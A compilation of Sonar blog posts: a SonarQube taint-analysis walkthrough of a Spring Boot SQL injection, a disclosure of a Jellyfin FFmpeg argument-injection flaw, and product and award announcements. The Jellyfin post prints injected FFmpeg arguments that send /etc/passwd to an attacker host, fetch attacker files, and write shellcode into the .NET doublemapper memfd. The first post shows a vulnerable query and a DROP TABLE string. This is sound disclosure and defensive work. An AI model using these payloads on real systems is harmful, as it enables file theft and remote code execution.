SQL injection has been in the OWASP Top 10 for over a decade, and AI coding agents keep producing it. Invicti analyzed Copilot's security suggestions and found that likely because the model is trained on public repositories including non-production code, its suggestions can reproduce the same insecure patterns. The injection path continues to exist despite code compiling and tests passing because nothing in the generation loop follows the data across method call boundaries.

SonarQube's taint engine catches these by building a data flow graph of every assignment, method call, and parameter passing in your code, then following the data from where it enters the application to where it gets used in a dangerous operation. Below we will trace a single SQL injection finding across three Spring Boot files, from the HTTP request parameter where tainted data enters to the database call where it arrives unsanitized.

Prerequisites

A SonarQube Cloud account (any plan, including Free) or SonarQube Server Developer Edition or higher. Note: the Free plan analyzes main-branch code only. See plans and pricing. SonarQube Community Build does not support taint analysis and has very limited security coverage.
Java 17 or higher, Maven

The taint chain

The app we’re using is a minimal Spring Boot 3 API with a single endpoint: GET /users/search?name=.... The vulnerability arises from the following three classes:

UserController.java accepts the request parameter and passes it to the service:

@GetMapping("/users/search")
public List<User> searchUsers(@RequestParam String name) {
    return userService.findUsersByName(name);
}

UserService.java passes it straight to the repository:

public List<User> findUsersByName(String name) {
    return userRepository.searchByName(name);
}

UserRepository.java uses the value to build a SQL string:

public List<User> searchByName(String name) {
    String sql = "SELECT * FROM users WHERE name = '" + name + "'";
    return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(User.class));
}

To both human eyes and AI, the controller and service look unremarkable in isolation. UserService.java is a standard pass-through; nothing in that method necessarily signals a problem because the problem isn't there. The string concatenation in UserRepository.java is where the vulnerability lives, but you'd only know that name was dangerous if you knew it came from an HTTP request parameter two method calls away. Unfortunately, static analysis that examines files in isolation can’t make that connection.

SonarQube’s finding

After scanning, SonarQube returned one issue: rule javasecurity:S3649 at BLOCKER severity, with Security impact, mapping to CWE-89 and OWASP Top 10 2021 A03.

The finding lands on jdbcTemplate.query() in UserRepository.java, which is the right location. However, this finding alone doesn't explain how SonarQube knew that the name argument to searchByName() was user-controlled. In order to find that out, you have to look in the execution flow.

Reading the execution flow

In the left sidebar, you'll see "1 execution flow"; click it and SonarQube expands 12 numbered steps (in this example), grouped by file.

Step 1 is labeled SOURCE: "a user can craft an HTTP request with malicious content." That annotation sits on the @RequestParam String name declaration in UserController.java. SonarQube recognizes Spring MVC's @RequestParam as a taint source, an entry point where externally supplied data enters the application, and marks everything that flows from it as potentially tainted.

Steps 2 and 3 document the parameter passing through the controller. Steps 4, 5, and 6 track it through UserService.findUsersByName(), a single-line pass-through that takes the tainted name and hands it to the repository. SonarQube continues to follow along because taint analysis keeps going as long as the data keeps moving, unhindered by method boundaries.

Starting at step 9, each annotation in UserRepository.java describes what's happening to the tainted value:

Step 9: "The malicious content is concatenated into the string"
Step 10: "This concatenation can propagate malicious content to the newly created string"
Step 11: "A malicious value can be assigned to variable sql"

Step 12 is labeled SINK: "this invocation is not safe; a malicious value can be used as argument." That's jdbcTemplate.query(sql, ...) on line 21, the database call where the tainted string gets executed.

The 12 steps serve as proof that begins with user-controlled data entered at @RequestParam, traveled through findUsersByName() unchanged, got concatenated into a SQL string, and arrived at jdbcTemplate.query() without ever being sanitized. A scanner that only read UserRepository.java in isolation might flag the concatenation, but it couldn't confirm that name was actually user-controlled, which SonarQube is able to do because it traced the data across all three files.

What can the injection do?

Opening the issue shows three impact categories in the "Why is this an issue?" tab: specifically, identity spoofing, data manipulation and deletion, and in database configurations with elevated permissions, remote code execution. The finding maps to CWE-89 and OWASP Top 10 A03 (Injection), which has remained on the OWASP list for over a decade because this pattern keeps surfacing in production code.

Fixing the taint chain

The "How can I fix it?" tab auto-detects your framework (SonarQube selected Spring for this project) and covers Hibernate, Java JDBC API, Couchbase, and the Spring Data drivers for Cassandra and Neo4j.

The fix for searchByName() is a one-line change:

// before
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(User.class));

// after
String sql = "SELECT * FROM users WHERE name = ?";
return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(User.class), name);

The tab explains that when you use a prepared statement, the database server compiles the query logic before the application passes the actual values. The ? placeholder becomes a parameter, the query structure is frozen at that point, and whatever string arrives as name gets treated as data rather than SQL. An attacker can inject '; DROP TABLE users;-- and it won't execute as the database treats it as a literal string value, not an instruction.

SonarQube traced the path from source to sink, told you what to fix and where, identified your framework, and surfaced the fix pattern, all without you having to leave the issue page.

What the next taint finding looks like

Every taint-traced finding has a structure consisting of a source where externally controlled data enters the application (HTTP parameters, form fields, file contents), a propagation chain of assignments and method calls that carry it through the codebase, and a sink where it reaches a dangerous operation.

When opening the execution flow on an XSS finding, you'll see the same numbered steps from @RequestParam to response.getWriter().write(), and for path traversal, from user input to new File(path).

SonarQube uses this model across nine languages including Java, Javascript, Typescript, Python, C#, Go, and PHP. For Java, the taint rules cover JPA, Hibernate, raw JDBC, and the Spring Data drivers, so the execution flow view works regardless of which database layer your team uses.

Jellyfin remote code execution: Inconsistent validation leads to argument injection

Paul Gerste — Tue, 02 Jun 2026 16:00:00 GMT

TL;DR overview

A Jellyfin argument injection vulnerability (CVE-2026-35033) allows unauthenticated attackers to execute arbitrary code on instances prior to version 10.11.7.
Inconsistent validation bypasses regex checks when transcoding options are parsed from semicolon-separated query parameters.
Attackers can manipulate FFmpeg command line arguments to read and write arbitrary files using a known video ID.
Writing shellcode to the .NET JIT compiler doublemapper memfd virtual file achieves code execution.

Jellyfin is a popular open-source media system written in C# with over 50,000 stars on GitHub. Users can manage their media library and stream media to various clients. To ensure compatibility and smooth playback, Jellyfin integrates with FFmpeg for on-the-fly media transcoding.

While reviewing the code base, we discovered a new argument injection vulnerability that is a variant of previous FFmpeg argument injection flaws (CVE-2025-31499, CVE-2023-49096). While many user-controllable parameters are now validated in Jellyfin, we identified a validation bypass that allows an attacker to inject arbitrary arguments into the FFmpeg command line.

In this blog post, we dive into the technical details of the vulnerability, cover the exploitation path, present a new attacker primitive to turn file writes into code execution in .NET environments, and take a look at how this vulnerability was patched.

Impact

The vulnerability we discovered is tracked as CVE-2026-35033 and affects Jellyfin versions before 10.11.7. The vulnerability is an argument injection in a media playback API endpoint and can allow unauthenticated attackers to execute arbitrary code on vulnerable Jellyfin instances.

The only requirement for an attacker is that they need to know a valid video ID. This can easily be obtained by authenticated attackers by retrieving one from the API. Unauthenticated attackers can still reach the vulnerable endpoint but it is harder for them to obtain a valid video ID. However, video IDs are not random but derived from the file path of the underlying media file. If an attacker can guess a path, they can compute a valid video ID and exploit the vulnerability.

Technical Details

Jellyfin allows users to manage and view their own media library. To provide smooth playback compatible with many clients, Jellyfin integrates with FFmpeg to transcode media files on the fly. The client can set some transcoding options, but these are limited to a safe subset. The playback API endpoint at /Videos/<id>/stream can be reached without authentication, but it requires knowledge of a valid ID. Such IDs can either be obtained by authenticated users via the API, but they are also guessable since they are essentially derived from the media file's path.

Malicious transcoding options

When an attacker knows such an ID, they can request the video file along with some transcoding options. The transcoding options can be passed in two different ways: as individual query parameters, or as a single params query parameter where many values are semicolon separated:

?params=;mydevice;a1b2c3d4;false;h264;aac;1;-1;2000000;192000;2;30;1920;1080;0;high; [...]

For many of the individual query parameters, custom attributes are used to limit them to sane values:

public async Task<ActionResult> GetVideoStream(
    // ...
    [FromQuery] [RegularExpression(EncodingHelper.LevelValidationRegex)] string? level,
    // ...
{
    // ...
    var streamingRequest = new VideoRequestDto
    {
        // ...
        Level = level,
    };

In this example, the LevelValidationRegex makes sure that level can only be a floating point number. However, these limits are not enforced in the same way when the values are parsed from the semicolon-separated params. The string value of this combined parameter is passed to StreamingHelpers.ParseParams() which unpacks the semicolon-separated list into the respective fields of a VideoRequestDto object. For field 15, the value is assigned to the Level field:

private static void ParseParams(StreamingRequestDto request)
{
    // ...
    var vals = request.Params.Split(';');
    var videoRequest = request as VideoRequestDto;
    for (var i = 0; i < vals.Length; i++)
    {
        var val = vals[i];
        // ...
        switch (i)
        {
            // ...
            case 15:
                if (videoRequest is not null)
                {
                    videoRequest.Level = val;
                }

As we can see, no regex validation is performed in this path but the fully user-controlled string value lands in the same Level field as the regex-validated level query parameter would. From here, the string flows through some more parsing logic where it is eventually converted into a value FFmpeg understands:

public static string NormalizeTranscodingLevel(EncodingJobInfo state, string level)
{
    if (double.TryParse(level, CultureInfo.InvariantCulture, out double requestLevel))
    {
        // ...
    }

    return level;
}

If the user-provided value cannot be parsed as a double, the original value is passed on. This is a double-edged sword: it makes Jellyfin compatible with all kinds of values that FFmpeg might understand, but it also allows user-controlled content to flow deeper into the system. At the final step, the level value is added to the list of arguments passed to FFmpeg. There are several cases for well-known values, but there's again a fallback clause that passes on the original, user-controllable value:

public string GetVideoQualityParam(EncodingJobInfo state, string videoEncoder, EncodingOptions encodingOptions, EncoderPreset defaultPreset)
{
    var param = string.Empty;
    // ...
    var level = state.GetRequestedLevel(targetVideoCodec);
    if (!string.IsNullOrEmpty(level))
    {
        level = NormalizeTranscodingLevel(state, level);
        if (string.Equals(videoEncoder, "h264_qsv", StringComparison.OrdinalIgnoreCase))
            // ...
        else if (!string.Equals(videoEncoder, "libx265", StringComparison.OrdinalIgnoreCase))
        {
            param += " -level " + level;
        }

On the first look, it seems that this might be a command injection vulnerability. However, due to the way Jellyfin and .NET pass the argument string to the system, it is not evaluated in a shell context. An attacker is therefore unable to append additional commands or inject subshells, but can still inject additional FFmpeg arguments!

From argument injection to impact

FFmpeg is a very versatile piece of software. It supports a wide variety of formats and operations, so it comes with an even greater number of arguments to configure them. For example, FFmpeg can't just process files but also network sources, making it possible to send and receive data.

Reading arbitrary files. To exfiltrate files from the system, an attacker could tell ffmpeg to read a file and copy it to a network destination by injecting the following arguments:

-f null /dev/null -f data -i /etc/passwd -map 1:0 -c copy -f data tcp://<ATTACKER>:<PORT> -map 0:0 -map 0:1

The -f null /dev/null part at the beginning makes sure that the arguments preceding the injection points do not mess with the attacker operation by redirecting it to /dev/null via the null format. The -map 0:0 -map 0:1 part at the end makes sure that any subsequent arguments after the injection point will correctly refer to the original options, preventing FFmpeg from aborting due to errors. The core of the injected arguments tells FFmpeg to use the data format so the file content is not parsed (-f data), where to read the data from (-i /etc/passwd), to only copy the data instead of converting it (-c copy), and to send the resulting output to a network destination (tcp://<ATTACKER>:<PORT>).

Writing arbitrary files. In the same way, an attacker can write arbitrary files by instructing FFmpeg to copy data from a network source into an attacker-controlled file path:

-f null /dev/null -f data -i http://<ATTACKER>:<PORT> -map 1:0 -c copy -f data /tmp/written -map 0:0 -map 0:1

Here, the network address becomes the source while the file path becomes the destination. The attacker can, for example, host the file content on an HTTP server that FFmpeg will download the file from.

Executing arbitrary code. A file write primitive is usually powerful enough to let an attacker execute arbitrary code, for example by writing webshells or overwriting code files. This is also possible in the case of Jellyfin, for example by overwriting libogg.so:

-f null /dev/null -f data -i http://<ATTACKER>:<PORT> -map 1:0 -c copy -f data /lib/x86_64-linux-gnu/libogg.so.0 -map 0:0 -map 0:1

However, this highly depends on the environment in which Jellyfin runs. For example, when deploying it via Docker Compose, the compose file contains a comment that recommends running Jellyfin as a low-privileged user. In that case, overwriting libogg.so would fail due to file permissions. So we asked ourselves: Is there a way an attacker can turn this vulnerability into code execution in most environments?

A new primitive: from file write to shellcode execution in .NET

During previous research into Node.js, we found out that libuv, which powers Node.js's event loop, uses pipes to pass raw pointers between threads. Such file descriptors are reachable on Linux via procfs, for example as /proc/<pid>/fd/<fd>. This allowed an attacker with a file write primitive to write into the writable end of such a pipe and therefore send untrusted pointers into Node.js internals. From there it was possible to execute arbitrary code by constructing a ROP chain, even without leaking further information about the process memory layout.

While looking for a code execution gadget, we also inspected Jellyfin's open file descriptors and spotted something interesting:

$ ls -lv /proc/1/fd/
total 0
lrwx------ 1 root root 64 May 12 15:05 0 -> /dev/null
l-wx------ 1 root root 64 May 12 15:05 1 -> pipe:[4312163]
l-wx------ 1 root root 64 May 12 15:05 2 -> pipe:[4312164]
lr-x------ 1 root root 64 May 12 15:05 3 -> pipe:[4310669]
l-wx------ 1 root root 64 May 12 15:05 4 -> pipe:[4310669]
lrwx------ 1 root root 64 May 12 15:05 5 -> /dev/null
l-wx------ 1 root root 64 May 12 15:05 6 -> pipe:[4312163]
l-wx------ 1 root root 64 May 12 15:05 7 -> pipe:[4312164]
lrwx------ 1 root root 64 May 12 15:05 8 -> /memfd:doublemapper
lrwx------ 1 root root 64 May 12 15:05 9 -> socket:[4310671]

While there are also pipes, the memfd one caught our attention and, after some investigation, we figured out what it is. Normally, C# code is compiled to bytecode (CIL), which the .NET runtime then turns into native machine code at runtime via its JIT compiler before executing it.

The current iteration of that JIT compiler is called RyuJIT, and it has to solve a problem that all JIT compilers face: creating new, executable code at runtime while sticking to the "W^X" security paradigm of never having a memory region that is both writable and executable at the same time. The .NET runtime's ExecutableAllocator solves this by "double-mapping" a shared memory region. First, it creates a permanent executable mapping that the JIT-compiled code runs from. Whenever it needs to modify the code, a short-lived writable mapping is created at a different virtual address, which is used for the modification and unmapped immediately after.

To map the same memory region twice, the allocator needs a backing store. This could be a regular file on disk, but that would be slow as file operations tend to be much slower than keeping data in memory. That is where the memfd comes in: it is an "anonymous file", a virtual file that only lives in memory but can be addressed like a regular file descriptor. We can see that different offsets within the same memfd are mapped as either writable or executable:

$ cat /proc/1/maps | grep doublemapper | head
7a4a567ce000-7a4a567d0000 rw-s 035da000 00:01 3981                       /memfd:doublemapper
7a4a567ea000-7a4a567ec000 rw-s 035d9000 00:01 3981                       /memfd:doublemapper
7a8aee011000-7a8aee013000 rw-s 035d8000 00:01 3981                       /memfd:doublemapper
7a8af12b0000-7a8af12b1000 r-xs 00000000 00:01 3981                       /memfd:doublemapper
7a8af12c0000-7a8af12c3000 rw-s 00001000 00:01 3981                       /memfd:doublemapper
7a8af12c4000-7a8af12cc000 rw-s 00005000 00:01 3981                       /memfd:doublemapper
7a8af12cd000-7a8af12d0000 r-xs 0000e000 00:01 3981                       /memfd:doublemapper
7a8af12d0000-7a8af12e0000 rw-s 00011000 00:01 3981                       /memfd:doublemapper

Regardless of the mapped addresses and their permissions, the backing memfd contains all the native machine code of all JIT-compiled functions. This means that overwriting the contents of the file will overwrite that native code with attacker-controlled instructions. These will be executed the next time any of the JIT-compiled functions is invoked. This makes the doublemapper memfd a perfect file write gadget for attackers as they can write arbitrary shellcode which gets executed almost immediately.

In the case of Jellyfin, the file descriptor number of the doublemapper memfd is always 8. When deploying Jellyfin via the official container image, Jellyfin itself is the first process in the container. This means that the attacker can write shellcode into /proc/1/fd/8 to execute their shellcode and gain remote code execution. To do this, the attacker can use the file write payload used earlier with this new target path:

-f null /dev/null -f data -i http://<ATTACKER>:<PORT> -map 1:0 -c copy -f data /proc/1/fd/8 -map 0:0 -map 0:1

There is just a small problem: when FFmpeg opens the target file to write into it, it does so with the O_TRUNC flag like most software would. This will immediately truncate the file to a length of 0 before the write adds new content, increasing the file size again. However, in this short time frame between opening (and therefore truncating) the file, and writing the new content, the .NET process will crash if it tries to execute any of the JIT-compiled code. Each mapped section points to a specific offset within the memfd, and if that offset does not exist because the file got truncated, the process crashes with SIGBUS.

Fortunately for attackers, the specific file write via FFmpeg has a solution for that. FFmpeg supports the -truncate 0 argument which simply drops the O_TRUNC during file opening. Now the file stays the same until the new content is actually written to it making a crash extremely unlikely.

All that is left to do for the attacker is to write a few megabytes of shellcode into the memfd. Jellyfin is an ASP.NET Core app running on the built-in Kestrel server. This server has different threads and one of them frequently executes the same function, triggering the attacker's shellcode almost immediately. In other environments, the attacker could likely cause JIT-compilation of a specific function by calling it a lot before the file write and then make the application call the function again to trigger their shellcode.

Patch

To fix the vulnerability, the Jellyfin maintainers made sure to apply the same regex-based validation to the level param taken from the semicolon-separated list. This prevents attackers from controlling arbitrary FFmpeg arguments, so the FFmpeg usage becomes safe again. The maintainers also ported the changes to other endpoints that have similar data flows. The key learning is to make sure you validate all data paths the same way. If downstream code relies on earlier validations, things will break if attackers can find another way to smuggle unvalidated data.

Timeline

Date	Action
2026-03-31	We report the issue to the Jellyfin maintainers
2026-03-31	The Jellyfin maintainers confirm the issue and let us know this has been reported in parallel by other researchers
2026-04-01	The Jellyfin maintainers release the fix in version 10.11.7

Summary

This blog post shows the importance of input validation, and that it's crucial to perform it on all the inputs, not just some. As we've seen in Jellyfin, missing a single input can lead to vulnerabilities with severe impact. The vulnerability allowed remote code execution via argument injection into the media transcoder.

Our research also shows that the security of a system depends on all components. The design of .NET's JIT compiler prevents memory pages that are writable and executable at the same time, but creates a powerful attack primitive at the same time. Attackers can simply write shellcode into the doublemapper file and have it executed by the .NET program.

Finally we would like to thank the Jellyfin maintainers for their great communications and very fast fixes. Great work!

Now available: SonarQube Agent App in GitHub

Brooks Naylor — Tue, 02 Jun 2026 16:00:00 GMT

What is the SonarQube Agent App in GitHub?

GitHub is expanding its agentic platform beyond coding agents to other external applications, including code verification and analysis agents. The SonarQube Agent App packages SonarQube’s shared skills and MCP server configuration as an Agentic App. Once installed, GitHub gains access to SonarQube's code quality and security analysis, all governed by your existing quality profiles and gates.

This is a big deal. The SonarQube Agent App brings code verification directly into the GitHub agentic workflow, so issues are caught and resolved right where the code is written, not minutes or hours later in a pipeline. That means faster feedback loops, fewer broken builds, and a verification step that actually keeps pace with autonomous agents.

How does the SonarQube Agent App work in GitHub?

The SonarQube Agent App is @-mentionable in issues and PRs, assignable to tasks, and visible in Mission Control. When invoked, it authenticates via OIDC, runs code verification against your quality gate, surfaces findings, and opens a session where you can check the agent’s work. Coding agents remediate from there, closing the Guide-Verify-Solve loop.

What is Agent Centric Development and why does it matter for AI coding agents?

Coding agents on GitHub now open PRs, respond to issues, and run on schedules, often with no human in the loop. CI catches some issues, but only after the fact. When pull requests are 10x larger and the code is generated by a probabilistic model, after-the-fact review can't keep up.

That's exactly what the Agent Centric Development Cycle (AC/DC) is built for. Because AI is probabilistic, code verification has to be deterministic, and it has to happen where agents work, not downstream in a pipeline. The SonarQube Agent App is the Verify step for agentic development on GitHub, bringing deterministic analysis, quality profiles, issue remediation, and shared skills to the platform.

For enterprises running multiple coding agents, this is especially significant. Every agent produces code to its own implicit quality bar. The SonarQube Agent App applies one consistent standard across all of them: one SonarQube instance, one set of rules, one quality gate from sandbox to merge. And developers who verify with SonarQube are 44% less likely to report outages due to AI-generated code.

How do I get started with the SonarQube Agent App for GitHub?

The SonarQube Agent App in GitHub is available for SonarQube Cloud customers. Install it on your GitHub organization or repos, just like any GitHub Agent App.

Install the Agentic App on your organization, then set two Copilot variables (COPILOT_MCP_SONARQUBE_ORG and COPILOT_MCP_SONARQUBE_PROJECT_KEY) at the repository, organization, or enterprise level. Sessions will reach SonarQube Cloud automatically.

Get started with SonarQube Cloud

Now available: SonarQube plugin for GitHub Copilot CLI

Brooks Naylor — Mon, 01 Jun 2026 16:00:00 GMT

TL;DR overview

The SonarQube plugin for GitHub Copilot CLI brings quality gates, issue scanning, and Agentic Analysis directly into your terminal workflow.
This integration connects your terminal-driven workflow to the SonarQube analysis engine using the SonarQube MCP Server or CLI.
It enables a deterministic verification layer during AI-driven development, allowing AI agents to find and fix code issues automatically.
The plugin includes secrets-scanning hooks to block the reading, writing, or pasting of sensitive credentials during coding sessions.

The SonarQube plugin for GitHub Copilot CLI is now available. It brings quality gate checks, issue scanning, dependency risk assessments, secrets detection, and SonarQube Agentic Analysis directly into your terminal workflow. If you're building with Copilot CLI, your AI-generated code can now be automatically verified before it leaves your machine.

What is the SonarQube plugin for GitHub Copilot CLI?

The SonarQube plugin for GitHub Copilot CLI connects your terminal-driven workflow to the SonarQube analysis engine, which can be accessed either through our MCP server or our SonarQube CLI.

How the plugin works

Once configured, you get /sonarqube: slash commands inside your Copilot CLI session to list issues, check test coverage, verify quality gate status, and assess dependency risks. No browser. No context-switching.

The core of the integration is the sonar integrate copilot command. This command handles the complex configuration of MCP server entries in your .mcp.json, and the installation of the hooks.json and sonarqube.instructions.md required for secrets scanning and Agentic Analysis. Once you configure the integration, the SonarQube CLI handles container runtime detection and keychain handoff automatically.

Why you should care

As AI agents take on more code generation, the developer's job shifts toward verification and review. That's the heart of the Agent Centric Development Cycle (AC/DC). But relying on an AI to self-correct is non-deterministic. You need a verification layer that is consistent, automatic, and built into the coding loop.

Once SonarQube Agentic Analysis is configured, the Copilot CLI agent doesn't just write code and move on. After every file write, it runs sonar analyze agentic, reads the findings, fixes the issues, and re-runs the analysis until the file comes back with no remaining problems. In testing against a real codebase, the agent caught and resolved multiple issues on its first pass and only finalized the file once verification was complete. All in one terminal session.

SonarQube's analysis is deterministic, comprehensive, and repeatable. Same code, same result, every time. That's a fundamentally different level of assurance than asking an LLM to review its own work. And since the analysis runs within the agentic coding loop, issues get found and fixed before the code even enters the PR flow.

The plugin also installs a secrets-scanning hook that blocks the agent from reading or writing files containing credentials, and instructs the agent to refuse prompts that paste sensitive content directly into the conversation.

Get started now

The plugin is available today and can be configured in a few minutes.

Prerequisites

An active GitHub Copilot subscription and the GitHub Copilot CLI installed.
A SonarQube Cloud or SonarQube Server account.
A local container runtime (Docker, Podman, or Nerdctl) to host the Sonarqube MCP Server.

Step 1: Install the plugin

Run these commands in your Copilot CLI session to add the marketplace and install the SonarQube plugin:

/plugin marketplace add SonarSource/sonarqube-agent-plugins
/plugin install sonarqube@sonar

Step 2: Run the integration

Invoke the plugin’s integration skill to automate the installation of the SonarQube CLI, authentication to SonarQube, and configuration of the SonarQube MCP Server:

/sonarqube:sonar-integrate

This command will walk you through the login process (using sonar auth login) and configure your .mcp.json with a sonarqube entry.

Step 3: Verify and code

Restart your Copilot CLI session to load the new configuration. You can now use /sonarqube: slash commands to list issues, check test coverage, or verify your quality gate status, introducing the deterministic verification layer to the agent’s workflow.

Back your AI-driven development with the industry standard for code verification. Install the SonarQube plugin for GitHub Copilot CLI and start building code you can trust.

SonarQube Remediation Agent Wins Best Innovation in AI for DevOps

Manish Kapur — Thu, 28 May 2026 16:00:00 GMT

Awards are most meaningful when they reflect where a market is actually going. That is why we're especially proud to share that SonarQube Remediation Agent has been named “Best Innovation in AI for DevOps” in the 2026 AI TechAwards.

This recognition points to something bigger than a product milestone. It signals a shift in how organizations are thinking about AI in software development. The conversation is no longer just about generating code faster. It is increasingly about what happens next: how teams fix issues, reduce manual rework, and keep code quality and security intact as AI accelerates the pace of development.

Closing the loop with AI

As AI-assisted development accelerates, software teams are producing more code, moving faster, and facing growing pressure to keep code quality and security issues under control. Detection alone isn’t enough. Teams also need a practical way to resolve issues at scale without adding more manual toil.

That is the challenge SonarQube Remediation Agent was made to address. Unlike general AI coding tools, it does not generate fixes speculatively. It only works on real issues that SonarQube has already flagged, and every fix it proposes is verified before a developer sees it.

SonarQube Remediation Agent is the Solve stage of our Agent Centric Development Cycle (AC/DC), a framework built for how software is developed today, where AI agents generate most of the code and teams need a reliable way to guide, verify, and fix it at the same pace. AC/DC covers three stages: Guide, Verify, and Solve. The Remediation Agent handles the last of those, autonomously fixing issues that SonarQube has already confirmed are real.

What makes that verification meaningful is how it works. Every proposed fix is re-scanned using the SonarQube code analysis engine, the same engine that found the issue. If the fix fails to resolve the problem or introduces a new one, it is discarded and a new attempt is made. Developers see only fixes that have passed this independent check, which means they spend time reviewing verified proposals, not debugging AI output.

Designed for software developer workflows

SonarQube Remediation Agent is designed to tackle two of the most time-consuming parts of software development.

The first is backlog reduction. Most codebases carry a long list of known security vulnerabilities and bugs on the main branch that teams rarely prioritize, not because they don't matter, but because there is always something more urgent. The agent works through that technical debt on a schedule you control, scanning the main branch, selecting high-priority issues, and opening a GitHub pull request with proposed fixes. No dedicated sprint, no manual triage. Each fix lands as a reviewable PR that developers merge through their normal workflow, with up to five fixes per run and a configurable limit on how many open agent PRs can exist at once. Teams can also send individual backlog issues directly to the agent using the "Assign to Agent" option in SonarQube, for cases where a specific issue needs attention outside the scheduled run.

The second is pull request remediation. On pull requests, the agent can respond when a quality gate fails by analyzing the issues that SonarQube identified, generating candidate fixes, verifying them, and opening a separate pull request with the proposed changes for review.

In both cases, the goal is the same, to reduce the manual burden of repetitive remediation work while keeping software developers in control of what ultimately gets shipped.

From Singapore research to global launch

The underlying technology of the SonarQube Remediation Agent traces back to AutoCodeRover, a software engineering agent developed by researchers at the National University of Singapore (NUS), which we acquired in 2025. That same technology has been refined into the Sonar Foundation Agent, currently ranked #1 on the SWE-bench Verified benchmark.

Through the product’s evolution, Singapore has remained central. We worked with the Infocomm Media Development Authority of Singapore (IMDA) as a strategic design partner, using feedback from local engineers and real-world testing to help shape the product for enterprise environments. With support from the Economic Development Board (EDB), that collaboration helped turn Singapore-born research into a solution ready for global use.

This is what made our global launch at ATxSummit last week (Asia’s flagship tech conference) so fitting. Announcing SonarQube Remediation Agent on one of Singapore's biggest global technology stages let us tell a broader story about how rigorous, research-grounded AI innovation is shaping the next generation of enterprise software development. It was great to connect with SonarQube users about the new solution, demo it live, and talk about how we’re helping enterprises solve the challenges they face in today’s AI landscape.

Sonar team with Singapore minister Josephine Teo at ATxSummit.

A strong signal for where the market is heading

Winning “Best Innovation in AI for DevOps” is an exciting milestone, but it is also a marker of where the industry is heading. As software teams adopt AI more broadly, the real opportunity is not just to generate more code. It is to build workflows where AI can help resolve issues at scale without compromising trust.

Organizations want AI that can help them solve problems, not just surface them. They want automation that fits within software developer workflows, supports governance, and makes it easier to reduce technical debt.

That is the opportunity SonarQube Remediation Agent is built to address, and this award is a strong signal that the market agrees.

Sonar named a Leader in the 2026 Gartner® Magic Quadrant™ for Technical Debt Management Tools

Robert Curlee — Tue, 26 May 2026 16:00:00 GMT

TL;DR overview

Sonar was named a Leader in the inaugural Gartner® Magic Quadrant™ for Technical Debt Management Tools, recognized for Completeness of Vision and Ability to Execute.
By 2027, Gartner predicts architectural technical debt will account for 80% of all technical debt.
AI adoption accelerates technical and architectural debt.
Sonar's AC/DC framework prevents and remediates technical debt across Guide, Verify, and Solve stages

Sonar has been named a Leader in the inaugural 2026 Gartner® Magic Quadrant™ for Technical Debt Management Tools. Sonar was recognized for both Completeness of Vision and Ability to Execute.

This is a new category. According to the Gartner market definition, “these tools are essential for businesses aiming to achieve excellence in software engineering and prevent the ‘breaking point’ where accumulated debt leads to unstable performance and soaring maintenance costs.”

In our view, Gartner publishing this report clearly signals that tooling decisions in this space now warrant the same rigor enterprises apply to any mission-critical platform category.

Our point of view on the state of technical debt

The software industry has a velocity problem, just not the one you'd expect. AI coding assistants and agents are generating code at 10x human speed, promising huge gains in productivity. As a result, engineering teams are drowning under the increasing weight of technical debt, which currently costs the U.S. alone an estimated $1.5 trillion annually. And the problem isn’t just technical, it’s structural: Gartner® predicts that by 2027, architectural technical debt will account for 80% of all technical debt.

AI coding agents are incredibly fast, but they suffer from contextual blindness. They routinely deliver massive payloads of code that might pass basic functional tests, but ignore your underlying architecture and coding standards. This introduces what is being termed "dark code": code that works on the surface but is unmaintainable, leaving your project fragile and highly volatile. Without strict code verification, adopting AI actually accelerates technical and architectural debt.

SonarQube is the zero-trust, multilayered verification platform built for exactly this moment, catching quality, security, and architectural issues before they reach production and remediating the ones that do. Embedding SonarQube into the development workflow means teams can capture the performance gains of agentic coding without accumulating the debt that typically comes with it.

Traditional technical debt management is broken. Relying on out-of-band periodic audits or retrospective reporting simply cannot keep pace with continuous, AI-accelerated code generation.

According to Sonar's State of Code Developer Survey, nearly all developers surveyed (88%) report at least one negative impact of AI on their technical debt. This manifests in two ways:

Code-level technical debt: The bugs, vulnerabilities, and code smells that act as a daily "friction tax," steadily accumulating and eventually draining developer productivity.
Architectural debt: Systemic compromises like circular dependencies and high coupling create an architectural black box. Gartner® predicts that by 2027, architectural technical debt will account for 80% of all technical debt

When your overall Technical Debt Ratio (TDR) crosses the 25% threshold, innovation slows significantly. Software developers have to refocus their time untangling existing code instead of building new, revenue-generating features.

Building governance into the Agent Centric Development Cycle with Sonar

The following section reflects Sonar’s recommended approach to agent centric development and is not endorsed by Gartner.

Developers need a solution that doesn't just audit yesterday's mess, but also prevents it from accumulating from the start, as early as the first prompt. It's critical to embed governance directly into the software developer workflow. To help engineering teams build trust in software within the new AI coding era, we created the Agent Centric Development Cycle (AC/DC) framework. This methodology, complemented by Sonar's offerings, demonstrates how development teams can prevent and remediate technical debt across three integrated stages:

1. Guide: Context before generation

Through the SonarQube MCP Server and Sonar Context Augmentation, Sonar feeds rich codebase context, your coding standards, and deep architectural guidance directly into AI agents' reasoning loops before they write a single line of code. This shifts quality enforcement from post-generation scanning to upfront guidance, reducing technical and architectural debt from the initial prompt.

2. Verify: In-workflow prevention

If an engineer or an AI assistant introduces a flawed component relationship or a code smell, SonarQube surfaces it instantly within the IDE and during automated analysis of the branch and pull request (PR). SonarQube's quality gates act as a zero-trust enforcement layer, blocking substandard code from ever reaching production in the CI/CD pipeline.

Additionally, Sonar’s recent acquisition of Gitar will deliver AI-native code review that flags issues, generates the fix, validates it against the CI, and commits to the branch.

3. Solve: Closed-loop remediation

For issues that make it to the PR phase, the SonarQube Remediation Agent takes over. It automatically sifts through existing code and proposes precise fixes directly in pull requests, then re-analyzes the changes to verify their integrity before a human reviewer ever gets involved.

Shaping quality at the model layer with Sonar

The code verification challenge doesn't end at the codebase. If the AI models generating your code are prone to producing insecure or unmaintainable output, downstream scanning will continue to struggle keeping up the pace.

That's why we introduced the Sonar LLM code quality leaderboard, an independent, analysis of code reliability, security, and maintainability for leading LLMs . And with SonarSweep, we go a step further by maintaining and optimizing the training datasets these models learn from. The result: SonarQube isn't just catching problems after AI writes code. It is raising the bar on what AI produces in the first place.

Sonar’s take on maintaining software quality while scaling AI coding

Scaling your AI coding investment shouldn't mean sliding down an architectural quality cliff. By embedding SonarQube into your AC/DC, you can eliminate the rework tax and keep your software maintainable and adaptable for the long haul.

